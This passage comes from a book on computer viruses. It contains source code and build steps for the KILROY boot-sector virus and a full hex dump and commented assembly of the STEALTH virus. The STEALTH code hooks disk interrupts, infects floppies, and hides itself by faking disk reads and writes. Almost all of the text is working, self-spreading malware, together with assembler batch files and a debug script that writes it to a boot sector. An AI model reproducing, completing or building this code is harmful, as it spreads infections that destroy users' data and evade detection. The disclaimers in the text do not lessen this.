STOSB ;else use default value

JMP SHORT DFLT3 ;and go on to next

DFLT2: INC DI

DFLT3: LOOP DFLT1 ;and loop until cx=0

MOV AL,AH ;set ax=0

MOV DS,AX ;set ds=0 to set disk tbl

MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)

MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done

STI ;now turn interrupts on

INT 13H ;and reset disk drive system

ERROR1: JC ERROR1 ;if an error, hang the machine

;Attempt to self reproduce. If this boot sector is located on drive A, it will

;attempt to relocate to drive C. If successful, it will stop, otherwise it will

;attempt to relocate to drive B. If this boot sector is located on drive C, it

;will attempt to relocate to drive B.

SPREAD:

CALL DISP_MSG ;Display the ``Kilroy'' message

MOV BX,OFFSET DISK_BUF ;put other boot sectors here

CMP BYTE PTR [DRIVE],80H

JZ SPREAD2 ;if C, go try to spread to B

MOV DX,180H ;if A, try to spread to C first

CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive

JZ SPREAD2 ;none try floppy B

MOV CX,1 ;read Track 0, Sector 1

MOV AX,201H

INT 13H

JC SPREAD2 ;on error, go try drive B

CMP WORD PTR [NEW_ID],0AA55H;make sure it's a boot sector

JNZ SPREAD2

CALL MOVE_DATA

MOV DX,180H ;and go write the new sector

MOV CX,1

MOV AX,301H

INT 13H

JC SPREAD2 ;if error on c:, try b:

125 The Little Black Book of Computer Viruses

 

JMP SHORT LOOK_SYS ;ok, go look for system files

SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B:

AND AL,0C0H

ROL AL,1 ;put bits 6 & 7 into bits 0 & 1

ROL AL,1

INC AL ;add one, so now AL=# of drives

CMP AL,2

JC LOOK_SYS ;no B drive, just quit

MOV DX,1 ;read drive B

MOV AX,201H ;read one sector

MOV CX,1 ;read Track 0, Sector 1

INT 13H

JC LOOK_SYS ;if an error here, just exit

CMP WORD PTR [NEW_ID],0AA55H;make sure it's a boot sector

JNZ LOOK_SYS ;no, don't attempt reproduction

CALL MOVE_DATA ;yes, move boot sector to write

MOV DX,1

MOV AX,301H ;and write this boot sec to B:

MOV CX,1

INT 13H

;Here we look at the first file on the disk to see if it is the first MSDOS or

;PCDOS system file, IO.SYS or IBMBIO.COM, respectively.

LOOK_SYS:

MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk

XOR AH,AH

MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat

ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors

ADD AX,WORD PTR [FAT_START] ;add starting fat sector

PUSH AX

MOV WORD PTR [DOS_ID],AX ;root dir, save it

MOV AX,20H ;dir entry size

MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax

MOV BX,WORD PTR [SEC_SIZE] ;sector size

ADD AX,BX ;add one sector

DEC AX ;decrement by 1

DIV BX ;ax=# sectors in root dir

ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data

MOV BX,OFFSET DISK_BUF ;set disk buffer to 0000:0500

POP AX

CALL CONVERT ;and go convert sec # for bios

MOV AL,1 ;prepare for a 1 sector read

CALL READ_DISK ;go read it

MOV DI,BX ;compare first file on disk

MOV CX,11 ;with required file name of

MOV SI,OFFSET SYSFILE_1 ;first system file for PC DOS

REPZ CMPSB

JZ SYSTEM_THERE ;ok, found it, go load it

MOV DI,BX ;compare first file with

MOV CX,11 ;required file name of

MOV SI,OFFSET SYSFILE_2 ;first system file for MS DOS

REPZ CMPSB

ERROR2: JNZ ERROR2 ;not the same an error,

;so hang the machine

;Ok, system file is there, so load it

SYSTEM_THERE:

MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size

XOR DX,DX ;of IBMBIO.COM/IO.SYS

DIV WORD PTR [SEC_SIZE] ;and divide by sector size

INC AL ;ax=number of sectors to read

MOV BP,AX ;store that number in BP

MOV AX,WORD PTR [DOS_ID] ;get sec # of start of data

PUSH AX

MOV BX,700H ;set disk buffer to 0000:0700

RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read

Appendix D: The KILROY Virus 126

 

CALL CONVERT ;convert to bios Trk/Cyl/Sec

MOV AL,1 ;read one sector

CALL READ_DISK ;go read the disk

SUB BP,1 ; 1 from # of secs to read

JZ DO_BOOT ;and quit if we're done

ADD WORD PTR [DOS_ID],1 ;add secs read to sec to read

ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address

JMP RD_BOOT1 ;then go for another

;Ok, the first system file has been read in, now transfer control to it

DO_BOOT:

MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch

MOV DL,BYTE PTR [DRIVE] ;Drive number in dl

POP BX

; JMP FAR PTR LOAD ;use far jump with MASM or TASM

MOV AX,0070H ;A86 can't handle that,

PUSH AX ;so let's fool it with far ret

XOR AX,AX

PUSH AX

RETF

;Convert sequential sector number in ax to BIOS Track, Head, Sector

;information. Save track number in DX, sector number in CH,

CONVERT:

XOR DX,DX

DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track

INC DL ;dl=sector # to start read on,

MOV CH,DL ;al=track/head count

XOR DX,DX

DIV WORD PTR [HEADS] ;divide ax by head count

MOV BYTE PTR [HEAD],DL ;dl=head number, save it

MOV DX,AX ;ax=track number, save it in dx

RET

;Read the disk for the number of sectors in al, into the buffer es:bx, using

;the track number in DX, the head number at HEAD, and the sector

;number at CH.

READ_DISK:

MOV AH,2 ;read disk command

MOV CL,6 ;shift upper 2 bits of trk # to

SHL DH,CL ;the high bits in dh and put

OR DH,CH ;sector # in the low 6 bits

MOV CX,DX

XCHG CH,CL ;ch(05)=sec, cl/ch(67)=track

MOV DL,BYTE PTR [DRIVE] ;get drive number from here

MOV DH,BYTE PTR [HEAD] ;and head number from here

INT 13H ;go read the disk

ERROR3: JC ERROR3 ;hang in case of an error

RET

;Move data that doesn't change from this boot sector to the one read in at

;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and

;the data area at the beginning of the boot sector.

MOVE_DATA:

MOV SI,OFFSET DSKBASETBL ;Move the boot sector code

MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL OFFSET BOOT

SEC)

MOV CX,OFFSET DRIVE OFFSET DSKBASETBL

REP MOVSB

MOV SI,OFFSET BOOTSEC ;Move init jmp and sector ID

MOV DI,OFFSET DISK_BUF

MOV CX,11

REP MOVSB

RET

127 The Little Black Book of Computer Viruses

 

;Display the null terminated string at MESSAGE.

DISP_MSG:

MOV SI,OFFSET MESSAGE ;set offset of message up

DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH

LODSB ;get character to display

OR AL,AL

JZ DM2 ;repeat until 0

INT 10H ;display it

JMP SHORT DM1 ;and get another

DM2: RET

SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file

SYSFILE_2: DB 'IO SYS' ;MS DOS System file

MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0

ORG 7DFDH

DRIVE: DB 0 ;Disk drive for this sector

BOOT_ID: DW 0AA55H ;Boot sector ID word

MAIN ENDS

END START

To assemble this, you will need to create the file KILROY.DBG, as

follows:

r cx

200

w 7C00 0 0 1

q

If you want to use the Microsoft Assembler, create the batch file

KILROY_M.BAT as follows:

masm kilroy;

link kilroy;

exe2bin kilroy kilroy.com

debug kilroy.com <kilroy.dbg

del kilroy.obj

del kilroy.exe

del kilroy.com

and execute it with a freshly formatted disk (using the /s option) in

drive A. If you want to use the Turbo Assembler, create KIL

ROY_T.BAT:

tasm kilroy;

link kilroy;

exe2bin kilroy kilroy.com

debug kilroy.com <kilroy.dbg

del kilroy.obj

Appendix D: The KILROY Virus 128

 

del kilroy.map

del kilroy.exe

del kilroy.com

and do the same. If you are using A86, then the batch file KIL

ROY_A.BAT,

a86 kilroy.asm kilroy.com

debug kilroy.com <kilroy.dbg

del kilroy.com

will do the job, but remember, DO NOT ATTEMPT TO CREATE

THIS VIRUS UNLESS YOUKNOWWHATYOUARE DOING.

PROCEED AT YOUR OWN RISK!!

129 The Little Black Book of Computer Viruses

 

Appendix E: The STEALTH Virus

WARNING: The STEALTH virus is extremely conta

gious. Compile any of the following code at your own risk! If your

system gets infected with STEALTH, I recommend that you take a

floppy boot disk that you are certain is free from infection (borrow

one from somebody else if you have to) and turn your computer on

with it in your A: drive. Don't boot off of your hard drive! Next,

format your hard drive using your low level hard disk formatter

(which should have come with your machine). Then run FDISK

and FORMAT to restore your hard disk. Once you have a clean hard

disk, format all floppy disks that may have been in your machine

during the time it was infected. If there is any question about it,

format it. This is the ONLY WAY you are going to get rid of the

infection! In other words, unless you really know what you're

doing, you're probably better off not trying to use this virus.

So the following listings are provided FORINFORMA

TION PURPOSES ONLY!

Here is the HEX listing for STEALTH:

:10000000E9FD7A0000000000000000000000000090

:10031000000000800200000000000000000000005B

:106F000000000000FB80FC02740A80FC0374212E48

:106F1000FF2E007080FE0075F680FD0075F180F98F

:106F200001742C80FA8075E780F90873E2E9110298

:106F300080FE0075DA80FD0075D580F9017503E9E2

:106F40000E0180FA8075C880F90873C3E9310280A8

:106F5000FA807308E842027403E85C02505351520D

:106F60001E06550E070E1F8BEC8AC2E8210573081A

:106F7000E81C057303E9BF00E842057403E9B700A4

 

:106F8000BB357A8A073C807502B004B303F6E3058B

:106F900041718BD88A2F8A77018A4F028A56068BD5

:106FA0005E0A8B46028EC0B801029CFF1E00708AEA

:106FB000460C3C01746C5D071F5A595B5881C30035

:106FC0000250FEC8FEC180FA8075345351525657A4

:106FD0001E55061FC607008BF38BFB47B400BB0092

:106FE00002F7E38BC849F3A4F89C588946145D1F47

:106FF0005F5E5A595B58B400FEC981EB0002CF9C1A

:107000002EFF1E007050558BEC9C5889460A720C5E

:1070100081EB0002FEC95D5858B400CF5D5883C4AF

:1070200002CF8B4612509DF89C588946125D071F6F

:107030005A595B58B400CF5D071F5A595B58E9CEC7

:10704000FE2701094F010F4F01094F0112000007F0

:10705000505351521E06558BEC0E1F0E078AC2E884

:107060002D047308E828047303E9CB00E84E047488

:1070700003E9C300BB357A8A073C807502B004B3CC

:1070800003F6E30541718BD88A2F8A77018A4F0274

:107090008A56068B5E0A8B46028EC0B801039CFF9F

:1070A0001E0070FB8A560680FA807533C606357C52

:1070B000805657BFBE7D8B760A81C6BE7D81EE00AD

:1070C0007C061F0E07B91400F3A50E1FB80103BB01

:1070D000007CB90100BA80009CFF1E00705F5E8AD0

:1070E000460C3C01743C8A560680FA8074345D0775

:1070F0001F5A595B5881C3000250FEC8FEC19C2E26

:10710000FF1E0070FB50558BEC9C5889460A720C90

:1071100081EB0002FEC95D5858B400CF5D5883C4AE

:1071200002CF8B4612509DF89C588946125D071F6E

:107130005A595B58B400CF5D071F5A595B58E9CEC6

:10714000FDE8550075375053515256571E558BEC7C

:1071500026C60700061F8BF38BFB47B400BB00025B

:10716000F7E38BC849F3A48B4614509DF89C5889CB

:1071700046145D1F5F5E5A595B58B400CFE98FFD1E

:10718000E8160075F855508BEC8B4608509DF99C1D

:107190005889460858B4045DCF505351521E060E0C

:1071A0001F0E078AC2E8E702730432C0EB03E80C43

:1071B00003071F5A595B58C39C5657505351521ED0

:1071C000060E070E1FFBBB137A8B1F8AC281FBD0F2

:1071D000027505E82B00EB1F81FB60097505E8A12E

:1071E00000EB1481FBA0057505E82001EB0981FB8C

:1071F000400B7503E89101071F5A595B585F5E9D6C

:10720000C38AD0B90300B600E810028BD87272BFEF

:10721000117A8B0525F0FF0B45020B450475628B37

:10722000050D70FFABB8F77FABB8FF00AB8BC3B9F0

:1072300003008AD3B600E8F00172468AD0B905008F

:10724000B600E8E40172F4E8450272358AD0B6016E

:10725000B90927E8D301722950BF037CBE037AB96C

:107260001900F3A5C606357C0058E839027212BB36

:1072700000708AD0B601B90427B805039CFF1E0030

:1072800070C38AD0B90800B600E88F018BD8727B32

:10729000BFDD7B8B050B45020B45040B45060B45FB

:1072A000087568B8F77FABB8FFF7ABB87FFFABB82E

:1072B000F77FABB8FF00AB8BC3B908008AD3B60029

:1072C000E8660172468AD0B90F00B600E85A01722A

:1072D000F4E8BB0172358AD0B601B90F4FE8490115

131 The Little Black Book of Computer Viruses

 

:1072E000722950BF037CBE037AB91900F3A5C60604

:1072F000357C0158E8AF017212BB00708AD0B6012C

:10730000B90A4FB805039CFF1E0070C38AD0B904A8

:1073100000B600E805018BD8726DBF2C7A8B050B87

:1073200045020B45047560B8F77FABB8FFF7ABB803

:107330000F00AB8BC3B904008AD3B600E8EA007231

:10734000468AD0B90700B600E8DE0072F4E83F01D3

:1073500072358AD0B601B9094FE8CD00722950BF05

:10736000037CBE037AB91900F3A5C606357C025822

:10737000E833017212BB00708AD0B601B9044FB86D

:1073800005039CFF1E0070C38AD0B90A00B600E84E

:1073900089008BD872F1BFA87A8B0525F0FF0B45C9

:1073A000020B45040B45060B4508756E268B05251B

:1073B0000F000570FFABB8F77FABB8FFF7ABB87F36

:1073C000FFABB8F70FAB8BC3B90A008AD3B600E89E

:1073D000570072468AD0B90100B601E84B0072F43A

:1073E000E8AC0072358AD0B601B9124FE83A0072A3

:1073F0002950BF037CBE037AB91900F3A5C6063530

:107400007C0358E8A0007212BB00708AD0B601B9A4

:107410000D4FB805039CFF1E0070C350BB007AB827

:1074200001029CFF1E007058C350BB007AB80103D4

:107430009CFF1E007058C3B080A2357CE85000BB92

:10744000007A508AD0B600B90700B801039CFF1E2D

:1074500000705850BF037CBE037AB91900F3A5BF72

:10746000BE7DBEBE7BB92100F3A558E83800BB0045

:10747000708AD0B600B90200B805039CFF1E0070E8

:10748000C31E33C08ED8BB75048A071F3C00C3508F

:10749000BB007A8AD0B600B500B101B001B4029C3D

:1074A000FF1E007058C350BB007C8AD0B600B500E8

:1074B000B101B001B4039CFF1E007058C35657FCC5

:1074C000BF367CBE367AB90F00F3A75F5EC30000FB

:107B0000EB349000000000000000000000000000C6

:107B3000000000000000FA33C08ED08ED88EC0BC8A

:107B4000007CFBB106A11304D3E02DE0078EC083B7

:107B50002E130404BE007C8BFEB90001F3A506B809

:107B6000647C50CB061F90BB0070A0357C3C007439

:107B7000153C0174173C0274193C03741BBA800055

:107B8000B500B102EB19B527B104EB10B54FB10A3E

:107B9000EB0AB54FB104EB04B54FB10DBA0001B813

:107BA0000602CD1372F933C08EC0BE007ABF007CCE

:107BB000B90001F3A5FA8CC88ED0BC00700E073353

:107BC000C08ED8BE4C00BF0070A5A5B80470BB4CD9

:107BD0000089078CC0894702FB0E1F803E357C80E0

:107BE0007412E89CF8740DB080E8A3F8E8CEF8743D

:107BF00003E843F8BEBE7DBFBF7DB93F00C60400A9

:107C0000F3A433C050B8007C50CB0000000000004B

:107CF000000000000000000000000000000055AA85

:00000001FF

Appendix E: The STEALTH Virus 132

 

Here is the assembly language listing for the STEALTH

virus:

;The Stealth Virus is a boot sector virus which remains resident in memory

;after boot so it can infect disks. It hides itself on the disk and includes

;special antidetection interrupt traps so that it is very difficult to

;locate. This is a very infective and crafty virus.

COMSEG SEGMENT PARA

ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG

ORG 100H

START:

jmp BOOT_START

;*******************************************************************************

;* BIOS DATA AREA *

;*******************************************************************************

ORG 413H

MEMSIZE DW 640 ;size of memory installed, in KB

;*******************************************************************************

;* VIRUS CODE STARTS HERE *

;*******************************************************************************

ORG 7000H

STEALTH: ;A label for the beginning of the virus

;*******************************************************************************

;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)

;for every sector on the track. This is put at the very start of the virus so

;that when sectors are formatted, we will not run into a DMA boundary, which

;would cause the format to fail. This is a false error, but one that happens

;with some BIOS's, so we avoid it by putting this data first.

;FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,

; DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2

;

;FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette

; DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2

;*******************************************************************************

;* INTERRUPT 13H HANDLER *

;*******************************************************************************

OLD_13H DD ? ;Old interrupt 13H vector goes here

INT_13H:

sti

cmp ah,2 ;we want to intercept reads

jz READ_FUNCTION

cmp ah,3 ;and writes to all disks

jz WRITE_FUNCTION

I13R: jmp DWORD PTR cs:[OLD_13H]

;*******************************************************************************

;This section of code handles all attempts to access the Disk BIOS Function 2,

;(Read). It checks for several key situations where it must jump into action.

;they are:

; 1) If an attempt is made to read the boot sector, it must be processed

; through READ_BOOT, so an infected boot sector is never seen. Instead,

; the original boot sector is read.

; 2) If any of the infected sectors, Track 0, Head 0, Sector 27 on

; drive C are read, they are processed by READ_HARD, so the virus

133 The Little Black Book of Computer Viruses

 

; code is never seen on the hard drive.

; 3) If an attempt is made to read the boot sector on the floppy,

; this routine checks to see if the floppy has already been

; infected, and if not, it goes ahead and infects it.

READ_FUNCTION: ;Disk Read Function Handler

cmp dh,0 ;is it head 0?

jnz I13R ;nope, let BIOS handle it

cmp ch,0 ;is it track 0?

jnz I13R ;no, let BIOS handle it

cmp cl,1 ;track 0, is it sector 1

jz READ_BOOT ;yes, go handle boot sector read

cmp dl,80H ;no, is it hard drive c:?

jnz I13R ;no, let BIOS handle it

cmp cl,8 ;sector < 8?

jnc I13R ;nope, let BIOS handle it

jmp READ_HARD ;yes, divert read on the C drive

;*******************************************************************************

;This section of code handles all attempts to access the Disk BIOS Function 3,

;(Write). It checks for two key situations where it must jump into action. They

;are:

; 1) If an attempt is made to write the boot sector, it must be processed

; through WRITE_BOOT, so an infected boot sector is never overwritten.

; instead, the write is redirected to where the original boot sector is

; hidden.

; 2) If any of the infected sectors, Track 0, Head 0, Sector 27 on

; drive C are written, they are processed by WRITE_HARD, so the virus

; code is never overwritten.

WRITE_FUNCTION: ;BIOS Disk Write Function

cmp dh,0 ;is it head 0?

jnz I13R ;nope, let BIOS handle it

cmp ch,0 ;is it track 0?

jnz I13R ;nope, let BIOS handle it

cmp cl,1 ;is it sector 1

jnz WF1 ;nope, check for hard drive

jmp WRITE_BOOT ;yes, go handle boot sector read

WF1: cmp dl,80H ;is it the hard drive c: ?

jnz I13R ;no, another hard drive

cmp cl,8 ;sector < 8?

jnc I13R ;nope, let BIOS handle it

jmp WRITE_HARD ;else take care of writing to C:

;*******************************************************************************

;This section of code handles reading the boot sector. There are three

;possibilities: 1) The disk is not infected, in which case the read should be

;passed directly to BIOS, 2) The disk is infected and only one sector is

;requested, in which case this routine figures out where the original boot

;sector is and reads it, and 3) The disk is infected and more than one sector

;is requested, in which case this routine breaks the read up into two calls to

;the ROM BIOS, one to fetch the original boot sector, and another to fetch the

;additional sectors being read. One of the complexities in this last case is

;that the routine must return the registers set up as if only one read had

;been performed.

; To determine if the disk is infected, the routine reads the real boot sector

;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then

;this routine goes to get the original boot sector, etc., otherwise it calls ROM

;BIOS and allows a second read to take place to get the boot sector into the

;requested buffer at es:bx.

READ_BOOT:

cmp dl,80H ;check if we must infect first

jnc RDBOOT ;don't need to infect hard dsk

call CHECK_DISK ;is floppy already infected?

jz RDBOOT ;yes, go do read

call INFECT_FLOPPY ;no, go infect the diskette

RDBOOT: push ax ;now perform a redirected read

push bx ;save registers

push cx

Appendix E: The STEALTH Virus 134

 

push dx

push ds

push es

push bp

push cs ;set ds=es=cs

pop es

push cs

pop ds

mov bp,sp ;and bp=sp

RB001: mov al,dl

call GET_BOOT_SEC ;read the real boot sector

jnc RB01 ;ok, go on

call GET_BOOT_SEC ;do it again to make sure

jnc RB01 ;ok, go on

jmp RB_GOON ;error, let BIOS return err code

RB01: call IS_VBS ;is it the viral boot sector?

jz RB02 ;yes, jump

jmp RB_GOON ;no, let ROM BIOS read sector

RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG OFFSET BOOT_START)

mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86

mov al,BYTE PTR [bx] ;get disk type of disk being

cmp al,80H ;read, and make an index of it

jnz RB1

mov al,4

RB1: mov bl,3 ;to look up location of boot sec

mul bl

add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table

mov bx,ax

mov ch,[bx] ;get track of orig boot sector

mov dh,[bx+1] ;get head of orig boot sector

mov cl,[bx+2] ;get sector of orig boot sector

mov dl,ss:[bp+6] ;get drive from original spec

mov bx,ss:[bp+10] ;get read buffer offset

mov ax,ss:[bp+2] ;and segment

mov es,ax ;from original specification

mov ax,201H ;prepare to read 1 sector

pushf

call DWORD PTR [OLD_13H] ;do BIOS int 13H

mov al,ss:[bp+12] ;see if original request

cmp al,1 ;was for more than one sector

jz RB_EXIT ;no, go exit

READ_1NEXT: ;more than 1 sec requested, so

pop bp ;read the rest as a second call

pop es ;to BIOS

pop ds

pop dx ;first restore these registers

pop cx

pop bx

pop ax

add bx,512 ;prepare to call BIOS for

push ax ;balance of read

dec al ;get registers straight for it

inc cl

cmp dl,80H ;is it the hard drive?

jnz RB15 ;nope, go handle floppy

push bx ;handle an infected hard drive

push cx ;by faking read on extra sectors

push dx ;and returning a block of 0's

push si

push di

push ds

push bp

push es

pop ds ;ds=es

135 The Little Black Book of Computer Viruses

 

mov BYTE PTR [bx],0 ;set first byte in buffer = 0

mov si,bx

mov di,bx

inc di

mov ah,0 ;ax=number of sectors to read

mov bx,512 ;bytes per sector

mul bx ;# of bytes to read in dx:ax<64K

mov cx,ax

dec cx ;number of bytes to move in cx

rep movsb ;fill buffer with 0's

clc ;clear c, fake read successful

pushf ;then restore everyting properly

pop ax ;first set flag register

mov ss:[bp+20],ax ;as stored on the stack

pop bp ;and pop all registers

pop ds

pop di

pop si

pop dx

pop cx

pop bx

pop ax

mov ah,0

dec cl

sub bx,512

iret ;and get out

RB15: ;read next sectors on floppy

pushf ;call BIOS to

call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs)

push ax

push bp

mov bp,sp

pushf ;use c flag from BIOS call

pop ax ;to set c flag on the stack

mov ss:[bp+10],ax

jc RB2 ;if error, return ah from 2nd rd

sub bx,512 ;else restore registers so

dec cl ;it looks as if only one read

pop bp ;was performed

pop ax

pop ax ;and exit with ah=0 to indicate

mov ah,0 ;successful read

iret

RB2: pop bp ;error on 2nd read

pop ax ;so clean up stack

add sp,2 ;and get out

iret

RB_EXIT: ;exit from single sector read

mov ax,ss:[bp+18] ;set the c flag on the stack

push ax ;to indicate successful read

popf

clc

pushf

pop ax

mov ss:[bp+18],ax

pop bp ;restore all registers

pop es

pop ds

pop dx

pop cx

pop bx

pop ax

mov ah,0

iret ;and get out

RB_GOON: ;This passes control to BIOS

pop bp ;for uninfected disks

Appendix E: The STEALTH Virus 136

 

pop es ;just restore all registers to

pop ds ;their original values

pop dx

pop cx

pop bx

pop ax

jmp I13R ;and go jump to BIOS

;*******************************************************************************

;This table identifies where the original boot sector is located for each

;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect

;boot sector reads and writes.

BOOT_SECTOR_LOCATION:

DB 39,1,9 ;Track, head, sector, 360K drive

DB 79,1,15 ;1.2M drive

DB 79,1,9 ;720K drive

DB 79,1,18 ;1.44M drive

DB 0,0,7 ;Hard drive

;*******************************************************************************

;This routine handles writing the boot sector for all disks. It checks to see

;if the disk has been infected, and if not, allows BIOS to handle the write.

;If the disk is infected, this routine redirects the write to put the boot

;sector being written in the reserved area for the original boot sector. It

;must also handle the writing of multiple sectors properly, just as READ_BOOT

;did.

WRITE_BOOT:

push ax ;save everything we might change

push bx

push cx

push dx

push ds

push es

push bp

mov bp,sp

push cs ;ds=es=cs

pop ds

push cs

pop es

mov al,dl

call GET_BOOT_SEC ;read the real boot sector

jnc WB01

call GET_BOOT_SEC ;do it again if first failed

jnc WB01

jmp WB_GOON ;error on read, let BIOS take it

WB01: call IS_VBS ;else, is disk infected?

jz WB02 ;yes

jmp WB_GOON ;no, let ROM BIOS write sector

WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG OFFSET BOOT_START)

mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86

mov al,BYTE PTR [bx]

cmp al,80H ;infected, so redirect the write

jnz WB1

mov al,4 ;make an index of the drive type

WB1: mov bl,3

mul bl

add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry

mov bx,ax

mov ch,[bx] ;get the location of original

mov dh,[bx+1] ;boot sector on disk

mov cl,[bx+2] ;prepare for the write

mov dl,ss:[bp+6]

mov bx,ss:[bp+10]

mov ax,ss:[bp+2]

mov es,ax

137 The Little Black Book of Computer Viruses

 

mov ax,301H

pushf

call DWORD PTR [OLD_13H] ;and do it

sti

mov dl,ss:[bp+6]

cmp dl,80H ;was write going to hard drive?

jnz WB_15 ;no

mov BYTE PTR [DR_FLAG],80H ;yes, update partition info

push si

push di

mov di,OFFSET PART ;just move it from sec we just

mov si,ss:[bp+10] ;wrote into the viral boot sec

add si,OFFSET PART

sub si,OFFSET BOOT_START

push es

pop ds

push cs

pop es ;switch ds and es around

mov cx,20

rep movsw ;and do the move

push cs

pop ds

mov ax,301H

mov bx,OFFSET BOOT_START

mov cx,1 ;Track 0, Sector 1

mov dx,80H ;drive 80H, Head 0

pushf ;go write updated viral boot sec

call DWORD PTR [OLD_13H] ;with new partition info

pop di ;clean up

pop si

WB_15: mov al,ss:[bp+12]

cmp al,1 ;was write more than 1 sector?

jz WB_EXIT ;if not, then exit

WRITE_1NEXT: ;more than 1 sector

mov dl,ss:[bp+6] ;see if it's the hard drive

cmp dl,80H

jz WB_EXIT ;if so, ignore rest of the write

pop bp ;floppy drive, go write the rest

pop es ;as a second call to BIOS

pop ds

pop dx

pop cx ;restore all registers

pop bx

pop ax

add bx,512 ;and modify a few to

push ax ;drop writing the first sector

dec al

inc cl

pushf

call DWORD PTR cs:[OLD_13H] ;go write the rest

sti

push ax

push bp

mov bp,sp

pushf ;use c flag from call

pop ax ;to set c flag on the stack

mov ss:[bp+10],ax

jc WB2 ;an error

;so exit with ah from 2nd int 13

sub bx,512

dec cl

pop bp

pop ax

pop ax ;else exit with ah=0

mov ah,0 ;to indicate success

iret

WB2: pop bp ;exit with ah from 2nd

pop ax ;interrupt

add sp,2

Appendix E: The STEALTH Virus 138

 

iret

WB_EXIT: ;exit after 1st write

mov ax,ss:[bp+18] ;set carry on stack to indicate

push ax ;a successful write operation

popf

clc

pushf

pop ax

mov ss:[bp+18],ax

pop bp ;restore all registers and exit

pop es

pop ds

pop dx

pop cx

pop bx

pop ax

mov ah,0

iret

WB_GOON: ;pass control to ROM BIOS

pop bp ;just restore all registers

pop es

pop ds

pop dx

pop cx

pop bx

pop ax

jmp I13R ;and go do it

;*******************************************************************************

;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,

;then instead of reading the true data there, return a block of 0's, since

;0 is the data stored in a freshly formatted but unused sector. This will

;fake the caller out and keep him from knowing that the virus is hiding there.

;If the disk is not infected, return the true data stored in those sectors.

READ_HARD:

call CHECK_DISK ;see if disk is infected

jnz RWH_EX ;no, let BIOS handle the read

push ax ;else save registers

push bx

push cx

push dx

push si

push di

push ds

push bp

mov bp,sp

mov BYTE PTR es:[bx],0 ;zero the first byte in the blk

push es

pop ds

mov si,bx ;set up es:di and ds:si

mov di,bx ;for a transfer

inc di

mov ah,0 ;ax=number of sectors to read

mov bx,512 ;bytes per sector

mul bx ;number of bytes to read in ax

mov cx,ax

dec cx ;number of bytes to move

rep movsb ;do fake read of all 0's

mov ax,ss:[bp+20] ;now set c flag

push ax ;to indicate succesful read

popf

clc

pushf

pop ax

mov ss:[bp+20],ax

139 The Little Black Book of Computer Viruses

 

pop bp ;restore everything and exit

pop ds

pop di

pop si

pop dx

pop cx

pop bx

pop ax

mov ah,0 ;set to indicate successful read

iret

RWH_EX: jmp I13R ;pass control to BIOS

;*******************************************************************************

;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if

;the disk is infected. Instead, fake the return of an error by setting carry

;and returning ah=4 (sector not found).

WRITE_HARD:

call CHECK_DISK ;see if the disk is infected

jnz RWH_EX ;no, let BIOS handle it all

push bp ;yes, infected, so . . .

push ax

mov bp,sp

mov ax,ss:[bp+8] ;get flags off of stack

push ax

popf ;put them in current flags

stc ;set the carry flag

pushf

pop ax

mov ss:[bp+8],ax ;and put flags back on stack

pop ax

mov ah,4 ;set up sector not found error

pop bp

iret ;and get out of ISR

;*******************************************************************************

;See if disk dl is infected already. If so, return with Z set. This

;does not assume that registers have been saved, and saves/restores everything

;but the flags.

CHECK_DISK:

push ax ;save everything

push bx

push cx

push dx

push ds

push es

push cs

pop ds

push cs

pop es

mov al,dl

call GET_BOOT_SEC ;read the boot sector

jnc CD1

xor al,al ;act as if infected

jmp SHORT CD2 ;in the event of an error

CD1: call IS_VBS ;see if viral boot sec (set z)

CD2: pop es ;restore everything

pop ds ;except the z flag

pop dx

pop cx

pop bx

pop ax

ret

;*******************************************************************************

;This routine determines from the boot sector parameters what kind of floppy

;disk is in the drive being accessed, and calls the proper infection routine

Appendix E: The STEALTH Virus 140

 

;to infect the drive. It has no safeguards to prevent infecting an already

;infected disk. the routine CHECK_DISK must be called first to make sure you

;want to infect before you go and do it. This restores all registers to their

;initial state.

INFECT_FLOPPY:

pushf ;save everything

push si

push di

push ax

push bx

push cx

push dx

push ds

push es

push cs

pop es

push cs

pop ds

sti

mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector

mov bx,[bx] ;get sector count for this disk

mov al,dl

cmp bx,720 ;is it 360K? (720 sectors)

jnz IF_1 ;no, try another possibility

call INFECT_360K ;yes, infect it

jmp SHORT IF_R ;and get out

IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors)

jnz IF_2 ;no, try another possibility

